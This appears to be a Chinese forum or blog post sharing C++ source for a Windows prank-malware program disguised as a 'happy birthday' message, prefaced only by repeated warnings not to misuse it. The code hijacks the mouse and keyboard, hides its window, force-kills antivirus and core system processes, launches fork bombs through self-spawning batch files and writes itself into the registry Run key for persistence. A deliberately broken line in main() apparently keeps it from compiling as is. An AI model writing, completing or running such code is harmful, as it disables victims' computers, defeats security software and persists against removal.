摘自@
不要乱用!!!不要乱用!!!不要乱用!!!
#include<bits/stdc++.h>
#include<windows.h>
#include<string>
#include<thread>
#include<tchar.h>
#include<fstream>
#define _CRT_SECURE_NO_WARNINGS
using namespace std;
unsigned long long i=0;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter){
srand(time(0));
while (1){
SetCursorPos(rand() % x, rand() % y);
}
return 0L;
}
DWORD WINAPI key(LPVOID lpParameter){
while (1){
FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
}
return 0L;
}
int ge(int argc, char** argv){
POINT P;
HKEY hKey;
GetCursorPos(&P);
int x1=P.x;
int y1=P.y;
freopen("FUCK.bat","w",stdout);
char a[9] = "abc.bat";
srand(time(0));
HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
HWND hWnd = GetConsoleWindow();CloseHandle(hThread);CloseHandle(hThread);
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
HMENU hmenu = GetSystemMenu(hWnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG style = GetWindowLong(hWnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX);
SetWindowLong(hWnd, GWL_STYLE, style);
SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hWnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hWnd, NULL);
hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
if (hWnd){
ShowWindow(hWnd, SW_HIDE);
}
while(1){
SetCursorPos(x1,y1);
system("taskkill /f /im 360Safe.exe");
system("taskkill /f /im explorer.exe");
system("taskkill /f /im Taskmgr.exe");
system("taskkill /f /im ntoskrnl.exe");
system("taskkill /f /im wininit.exe");
system("taskkill /f /im svchost.exe");
freopen("11.out","w",stdout);
cout<<":1 \n start 11.bat \n goto 1";
fclose(stdout);
system("ren 11.out 11.bat");
system("start 11.bat");
if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS){
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0){
RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
RegCloseKey(hKey);
}
}
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
std::cout<<"%0|%0";
system("start FUCK.bat");
system("shutdown -a");
SetCursorPos(999,999);
system("strat cpp");
cout<<(char)7;
i++;
ofstream file_out(a);
file_out<<"%0|%0";
file_out.close();
system( a );
if(i==1e18) {system("shutdown -p");system("shutdown -s -t 0");}
system("xcopy");
char s[100] = "start ";
system(strcat(s, argv[0]));
}
}
int main(){
MessageBox(NULL, ("happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!happy birthday to you !!!!!"), ("happy birthday to you!!!"), NULL);
11121212(防乱用)
}